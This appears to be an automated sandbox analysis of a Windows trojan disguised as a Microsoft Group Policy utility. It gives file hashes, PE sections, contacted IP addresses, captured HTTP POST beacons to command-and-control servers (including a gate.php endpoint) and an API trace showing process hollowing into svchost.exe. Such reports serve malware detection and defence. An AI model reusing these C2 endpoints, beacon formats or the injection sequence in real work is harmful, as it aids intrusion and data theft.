LegalCopyright:	\x412\xa9 Microsoft Corporation. All rights reserved.
InternalName:	GPpdate.exe
FileVersion:	6.1.7600.16385 (win7_rtm.090713-1255)
CompanyName:	Microsoft Corporation
ProductName:	Microsoft\x412\xae Windows\x412\xae Operating System
ProductVersion:	6.1.7600.16385
FileDescription:	Microsoft\x412\xae Group Policy pdate Utility
OriginalFilename:	GPpdate.exe
Translation:	0x0409 0x04b0

Name	Virtual Address	Virtual Size	Size of Raw Data	Entropy
.text	0x00001000	0x000058fa	0x00005a00	2.72307799866
.rdata	0x00007000	0x000023b0	0x00002400	2.30861689651
.data	0x0000a000	0x00024d7c	0x00024c00	5.31034854768
.rsrc	0x0002f000	0x00003ff8	0x00004000	5.13311391985

File name	gsqnheve.exe
File size	200192 bytes
File type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	8c18492f2edc6da4da60d8ca315975a0
SHA1	1ec98b790f865fd3a46a54654c76382bbb64689d
SHA256	0aa594855227afb753465171aeaf33185ee7ec536cde6edb7f81016da3a203b9
SHA512	22306c0f75a2a7f3e51437762a2cacf0ca75fd407ea86d788faa6c879780bdb7f2dc2a33589f20f873ee8f8309886f6c136756e0fcb60e47fa38d3668a216c1f
Ssdeep	None
Yara	None matched
VirusTotal	Search for Analysis

IP Address
10.129.0.11
10.129.0.255
91.121.210.180
23.226.235.180
70.38.37.173
85.217.224.212
89.40.131.3

URL	Data
http://70.38.37.173:8080/4C4FEF4B6ED8F1684973FE753352286D2D966CD844	POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 70.38.37.173:8080 Content-Length: 318 Cache-Control: no-cache \x80\x00\x00\x00\xadHD-\xa6\x91BH\x95\x8fOI\x88r`\xf4\xee\xfdG\x9a\xa1\x0f\xc9_\xfe\xe7\xa1\xa2\xfa Y\xe3q\xd3n\x0fc=\x8e\xcb#\xbc\x11>\xe5,\xf5[\x03\xfc\x17\x81\x01/n\xec\xe9\xba\xdfB\xb9,^\xc2+\xc0\x18\xf9\xf9\x8d\xd3\xdc_a\x01\xa1\xe4Vd\xde\xe7+ \x13\x1d{\x19\xad\xdceg\xefEC5\x009\x05\xd3 Q\xdc\xc8lYS\xe9\x80\xd7\x81\xd0\xaf\x06=\x15 ,\xef\x87bp<\xe2W\xa6\xc9!O\xb6\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\xbb(\x84\x10K \x94\xd2\x0e\xad\x00\x8e\xe2\x81m\x1d\xfc\x10\xa8\xed\xe2\xda\xc8:\xd8\x8e\xd7\xcb \x1e7\xd0\x9dAa\x0e\xc3J\x97\x99\xff\x19\x9f\xaa\xe0s\xe3N\xfa\xe2'F\xd6a\x86C\xa1 \x8fz\xf4 \xcfk`m\xa7j\xe5=\x94\xdbjL\xaa\xf8\x81\x0f\xee\xa4u9\x0bt\x88_C\xcdk\x99;\x9fg\x14\x10\xe9\xd6\xd6\xce\x0f\x82c\xef~n\xd0\xc3\xb4L\xf61N\xcc;\x7f\xf8K\x89Z\x9b/'\x88\xe6A\xc2B?\x92\xbd2\x7fS\x1bQp\x96\x8e\x08&\x02\x8dd\x86<<gq&\xa7\xc1o\xd2\xd5\x14\x0b\x16"\xee\xa6\xadU\xf12\xba\xaf@\xed\x84\x81\xc2\xb9
http://70.38.37.173:8080/4C4FEF4B6ED8F1684973FE753352286D2D966CD844	POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 70.38.37.173:8080 Content-Length: 318 Cache-Control: no-cache \x80\x00\x00\x00\xadHD-\xa6\x91BH\x95\x8fOI\x88r`\xf4\xee\xfdG\x9a\xa1\x0f\xc9_\xfe\xe7\xa1\xa2\xfa Y\xe3q\xd3n\x0fc=\x8e\xcb#\xbc\x11>\xe5,\xf5[\x03\xfc\x17\x81\x01/n\xec\xe9\xba\xdfB\xb9,^\xc2+\xc0\x18\xf9\xf9\x8d\xd3\xdc_a\x01\xa1\xe4Vd\xde\xe7+ \x13\x1d{\x19\xad\xdceg\xefEC5\x009\x05\xd3 Q\xdc\xc8lYS\xe9\x80\xd7\x81\xd0\xaf\x06=\x15 ,\xef\x87bp<\xe2W\xa6\xc9!O\xb6\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\xbb(\x84\x10K \x94\xd2\x0e\xad\x00\x8e\xe2\x81m\x1d\xfc\x10\xa8\xed\xe2\xda\xc8:\xd8\x8e\xd7\xcb \x1e7\xd0\x9dAa\x0e\xc3J\x97\x99\xff\x19\x9f\xaa\xe0s\xe3N\xfa\xe2'F\xd6a\x86C\xa1 \x8fz\xf4 \xcfk`m\xa7j\xe5=\x94\xdbjL\xaa\xf8\x81\x0f\xee\xa4u9\x0bt\x88_C\xcdk\x99;\x9fg\x14\x10\xe9\xd6\xd6\xce\x0f\x82c\xef~n\xd0\xc3\xb4L\xf61N\xcc;\x7f\xf8K\x89Z\x9b/'\x88\xe6A\xc2B?\x92\xbd2\x7fS\x1bQp\x96\x8e\x08&\x02\x8dd\x86<<gq&\xa7\xc1o\xd2\xd5\x14\x0b\x16"\xee\xa6\xadU\xf12\xba\xaf@\xed\x84\x81\xc2\xb9
http://70.38.37.173:8080/4C4FEF4B6ED8F1684973FE753352286D2D966CD844	POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 70.38.37.173:8080 Content-Length: 306 Cache-Control: no-cache \x80\x00\x00\x00ED\x98!\xfa\x16\xce\xf0\x1aV\xddxcDx\x14\xbc\x1d\xf7\xa6zU\xddUW\xa9\xf9\x1e\xeb\xa5>\x0e"\xc4I\xc6\xf8g\xcb\xee5\xc9)M~\xad5\xb9C\x8bc\x01\xdf\xd3\x88\xa0vg\xd0jV\x99\xa7\xd0\x91\xed\xcd\xf6\xf7\x7f\x88\xa7Q\xea\xb9E*\x7fC3D\x90\x87\x8b\x12\xc7\xe5i#\xe6G\x7f\x93\x80\x01d'\x85\x97\xbc\xb0(Mv\xe9\x9b\x066\xc4\xe6\x02\x98\x17d\xe6\xf8\xa1\xd3\xe7{\x0cR\xbc\xe1i\xad\xccd\xaa\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\x10obhK \x94\x92\x0e\xad\x12q\x07A\x88\x1cW\xf1\x03\x12\xe2~\xd23\xf7(\x8c\x82(~\x1a\xa0rJ\8\x84&l'\x9c$\x83\xa1K\x0b\xa6\xffd\x07Q\x17\xd1\xae\x03\xf8F\xb5\xdf\x95\x9a\xcfql\x8f\xefvR\xcai(hr0\xd4\xda\xbe\x1a\xef\x94LM`\xfa\xf6\xfa\xbfo"\x02\x95\x10\xe7\x86S\xae\xc5\x91n!\x1e\xcb\xcfC\xc6 \xc8U\x0f\xc7J=Jx\x8bf\xf1\xa9z]$-\xa8&%\x07\x8ds\x8c\xbe5\x1aHkQ\xb8\xb2\x96"\xe2\xcc\x8e\x17\xa8\x8d\x18\xaa\xaf\x8b\xab\xd0\xef\xff\x04\x9d(\xa5\xf96`
http://70.38.37.173:8080/4C4FEF4B6ED8F1684973FE753352286D2D966CD844	POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 70.38.37.173:8080 Content-Length: 306 Cache-Control: no-cache \x80\x00\x00\x00ED\x98!\xfa\x16\xce\xf0\x1aV\xddxcDx\x14\xbc\x1d\xf7\xa6zU\xddUW\xa9\xf9\x1e\xeb\xa5>\x0e"\xc4I\xc6\xf8g\xcb\xee5\xc9)M~\xad5\xb9C\x8bc\x01\xdf\xd3\x88\xa0vg\xd0jV\x99\xa7\xd0\x91\xed\xcd\xf6\xf7\x7f\x88\xa7Q\xea\xb9E*\x7fC3D\x90\x87\x8b\x12\xc7\xe5i#\xe6G\x7f\x93\x80\x01d'\x85\x97\xbc\xb0(Mv\xe9\x9b\x066\xc4\xe6\x02\x98\x17d\xe6\xf8\xa1\xd3\xe7{\x0cR\xbc\xe1i\xad\xccd\xaa\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\x10obhK \x94\x92\x0e\xad\x12q\x07A\x88\x1cW\xf1\x03\x12\xe2~\xd23\xf7(\x8c\x82(~\x1a\xa0rJ\8\x84&l'\x9c$\x83\xa1K\x0b\xa6\xffd\x07Q\x17\xd1\xae\x03\xf8F\xb5\xdf\x95\x9a\xcfql\x8f\xefvR\xcai(hr0\xd4\xda\xbe\x1a\xef\x94LM`\xfa\xf6\xfa\xbfo"\x02\x95\x10\xe7\x86S\xae\xc5\x91n!\x1e\xcb\xcfC\xc6 \xc8U\x0f\xc7J=Jx\x8bf\xf1\xa9z]$-\xa8&%\x07\x8ds\x8c\xbe5\x1aHkQ\xb8\xb2\x96"\xe2\xcc\x8e\x17\xa8\x8d\x18\xaa\xaf\x8b\xab\xd0\xef\xff\x04\x9d(\xa5\xf96`
http://89.40.131.3/gate.php	POST /gate.php HTTP/1.0 Host: 89.40.131.3 Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 274 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
http://89.40.131.3/gate.php	POST /gate.php HTTP/1.0 Host: 89.40.131.3 Accept: */* Accept-Encoding: identity, *;q=0 Content-Length: 274 Connection: close Content-Type: application/octet-stream Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) \xf8\xe7\xbdu\x18H\x07\xc2\xff#\x0c\xc7\xa9\xff\x9e\xad:3\xc7\xd2\x02\xc1n\xa8\x9d\x18Z\xa1$K\x1d\x11\xd8\xe9\xd2\xe3tf*.R\x86\xf0pm\xd6\xd93\x916.\x1a\xa98\x84\x1f\xee\xb0X\xecot\xc9\xe3\xa6\xe3\x1a\xd5\xaf\xca \xac\xd54\x95\xcd=\x9a\x0bh\xbdkO\x7f\xc9\xb4\x92'\x85\x10\x1a Z\x18]\xed`"+\xefD\x8e\xb4\xac\x0b\x1a\xdb\xbb\x1f\xdaA(\x1a\xbf\xff)\xf6\xd1\x99\x81\x15\x83X0\x16\xf7d\xff\xd2\xa7\xab\xba\x99tf\xd1\xa9_\x12\xf3\x06\x1f\xab\xe0\xbbV\xe9\xc6\xbb\xfa\x07!r\x1b\xf1!\xac\xfar-?\x88\xc6\xd0Q\x95{\xa1\xc0\x025T\xa82\x0c\xe0\xd4\xd5,\x08\xc0\x16\xde\xea\xce\x00\\xba6\xd1|\xba\x9c\xc12\x15\xe9\x07\xef,\xe2 \xdfT\x0c\xc9`+\xb5m)\xcc\xcb\xf7o\x1f\xcea\x9cZ\x9f\xbc(\xb3o_\xe6"\xf9\xf2\xbdEt\x95~t\xf9#\x90\xca\x15F'\xed'\x98\xf6\xab\x15\xd66\xba\xb3\xd0\xe5beC\x96~R@6\xab\xd2\ \x9d\x1dF\xbd\xf8\xc3)

Timestamp	Thread	Function	Arguments	Status	Return	Repeated
09:12:10,563	516	RegOpenKeyExA	Handle => 0x0000008a Registry => 0x80000000 SubKey => clsid\{0003000e-0000-0000-c000-000000000046}	SUCCESS	0x00000000
09:12:10,573	516	LdrLoadDll	Flags => 1244972 BaseAddress => 0x7c800000 FileName => kernel32	SUCCESS	0x00000000
09:12:10,573	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,573	516	RegQueryValueExW	Handle => 0x0000008a Data => M\x00e\x00d\x00i\x00a\x00 \x00C\x00l\x00i\x00p\x00\x00\x00 ValueName =>	SUCCESS	0x00000000
09:12:10,583	516	NtCreateFile	ShareAccess => 1 FileName => C:\DOCUME~1\TDW\LOCALS~1\Temp\gyvlU yXBz DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x00000000	FAILURE	3221225524
09:12:10,583	516	NtOpenKey	DesiredAccess => 1 KeyHandle => 0x0000008c ObjectAttributes => \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager	SUCCESS	0x00000000
09:12:10,583	516	NtQueryValueKey	KeyHandle => 0x0000008c ValueName => SafeProcessSearchMode	FAILURE	3221225524
09:12:10,603	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryExA FunctionAddress => 0x7c801d53 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,603	516	LdrLoadDll	Flags => 1244856 BaseAddress => 0x7c800000 FileName => kernel32.dll	SUCCESS	0x00000000
09:12:10,603	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcAddress FunctionAddress => 0x7c80ae30 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,603	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualFree FunctionAddress => 0x7c809b74 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => UnmapViewOfFile FunctionAddress => 0x7c80ba04 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualProtect FunctionAddress => 0x7c801ad4 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryExA FunctionAddress => 0x7c801d53 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateFileA FunctionAddress => 0x7c801a28 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SetFilePointer FunctionAddress => 0x7c810c1e ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WriteFile FunctionAddress => 0x7c810e17 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,613	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CloseHandle FunctionAddress => 0x7c809bd7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,633	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetTempPathA FunctionAddress => 0x7c835de2 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,633	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => lstrlenA FunctionAddress => 0x7c80be46 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,633	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => lstrcatA FunctionAddress => 0x7c834d59 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,633	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrLoadDll	Flags => 1244812 BaseAddress => 0x7c800000 FileName => KERNEL32.dll	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WaitForSingleObject FunctionAddress => 0x7c802530 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateEventA FunctionAddress => 0x7c83089d ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateProcessA FunctionAddress => 0x7c80236b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcAddress FunctionAddress => 0x7c80ae30 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CloseHandle FunctionAddress => 0x7c809bd7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ReleaseMutex FunctionAddress => 0x7c8024b7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TerminateProcess FunctionAddress => 0x7c801e1a ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCurrentProcess FunctionAddress => 0x7c80de85 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetLastError FunctionAddress => 0x7c90fe01 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,643	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateMutexA FunctionAddress => 0x7c80e9cf ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:10,723	516	NtCreateMutant	Handle => 0x0000008c InitialOwner => 0 MutexName => 2GVWNQJz1	SUCCESS	0x00000000
09:12:10,723	516	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:12:10,723	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtQueryInformationProcess FunctionAddress => 0x7c90d7e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:10,723	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwReadVirtualMemory FunctionAddress => 0x7c90d9e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:10,743	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwMapViewOfSection FunctionAddress => 0x7c90d500 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:10,743	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtCreateSection FunctionAddress => 0x7c90d160 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:10,743	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwUnmapViewOfSection FunctionAddress => 0x7c90def0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:10,743	516	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwResumeThread FunctionAddress => 0x7c90db20 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:10,823	516	CreateProcessInternalW	ApplicationName => ProcessId => 968 CommandLine => svchost.exe ThreadHandle => 0x000000a0 ProcessHandle => 0x0000009c ThreadId => 972 CreationFlags => 0x00000004	SUCCESS	0x00000001
09:12:10,823	516	NtReadVirtualMemory	Buffer => \x00\x00\x00\x01 ProcessHandle => 0x0000009c BaseAddress => 0x7ffdc008	SUCCESS	0x00000000
09:12:10,833	516	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x00000090 FileHandle => 0x00000000	SUCCESS	0x00000000
09:12:10,833	516	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000090 ProcessHandle => 0xffffffff BaseAddress => 0x00420000	SUCCESS	0x00000000
09:12:10,833	516	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000090 ProcessHandle => 0x0000009c BaseAddress => 0x00090000	SUCCESS	0x00000000
09:12:10,853	516	NtReadVirtualMemory	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\xfc\xa9\xf5f\xb8\xc8\x9b5\xb8\xc8\x9b5\xb8\xc8\x9b5{\xc7\xfb5\xb9\xc8\x9b5{\xc7\xc65\xb1\xc8\x9b5\xb8\xc8\x9a5\xe7\xc8\x9b5{\xc7\xc55\xb9\xc8\x9b5{\xc7\xc45\xb4\xc8\x9b5{\xc7\xc15\xb9\xc8\x9b5Rich\xb8\xc8\x9b5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x03\x00\xc0[\x02H\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x07 \x00,\x00\x00 ProcessHandle => 0x0000009c BaseAddress => 0x01000000	SUCCESS	0x00000000	1 time
09:12:10,863	516	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x0000008c FileHandle => 0x00000000	SUCCESS	0x00000000
09:12:10,863	516	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000008c ProcessHandle => 0xffffffff BaseAddress => 0x01020000	SUCCESS	0x00000000
09:12:10,873	516	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000008c ProcessHandle => 0x0000009c BaseAddress => 0x01000000	SUCCESS	0x00000000
09:12:10,893	516	NtResumeThread	SuspendCount => 1 ThreadHandle => 0x000000a0	SUCCESS	0x00000000

Timestamp	Thread	Function	Arguments	Status	Return	Repeated
09:12:11,004	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryA FunctionAddress => 0x7c801d7b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,004	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ExitProcess FunctionAddress => 0x7c81cafa ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,004	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,004	972	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:12:11,004	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memset FunctionAddress => 0x7c902435 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,004	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memcpy FunctionAddress => 0x7c901db3 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,004	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => _stricmp FunctionAddress => 0x7c912e44 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,004	972	LdrGetDllHandle	ModuleHandle => 0x7c800000 FileName => KERNEL32.dll	SUCCESS	0x00000000
09:12:11,014	996	ExitThread	ExitCode => 0	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => OpenProcess FunctionAddress => 0x7c8309d1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HeapCreate FunctionAddress => 0x7c812c46 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateMutexA FunctionAddress => 0x7c80e9cf ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetLastError FunctionAddress => 0x7c90fe01 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCurrentProcess FunctionAddress => 0x7c80de85 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TerminateProcess FunctionAddress => 0x7c801e1a ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WideCharToMultiByte FunctionAddress => 0x7c80a164 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => OpenEventA FunctionAddress => 0x7c81329c ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetSystemTimeAsFileTime FunctionAddress => 0x7c8017e9 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCurrentProcessId FunctionAddress => 0x7c8099b0 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => DeleteFileA FunctionAddress => 0x7c831ec5 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => Sleep FunctionAddress => 0x7c802446 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetFileInformationByHandle FunctionAddress => 0x7c810cfd ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ReadFile FunctionAddress => 0x7c801812 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SetEvent FunctionAddress => 0x7c80a0a7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ResumeThread FunctionAddress => 0x7c83290f ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,014	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateProcessA FunctionAddress => 0x7c80236b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateFileA FunctionAddress => 0x7c801a28 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WriteFile FunctionAddress => 0x7c810e17 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CloseHandle FunctionAddress => 0x7c809bd7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcessHeap FunctionAddress => 0x7c80ac51 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HeapAlloc FunctionAddress => 0x7c9100a4 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HeapFree FunctionAddress => 0x7c90ff0d ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetTickCount FunctionAddress => 0x7c80932e ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualFree FunctionAddress => 0x7c809b74 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryA FunctionAddress => 0x7c801d7b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcAddress FunctionAddress => 0x7c80ae30 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetDllHandle	ModuleHandle => 0x77dd0000 FileName => ADVAPI32.dll	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptDestroyHash FunctionAddress => 0x77de9bac ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptEncrypt FunctionAddress => 0x77dee340 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
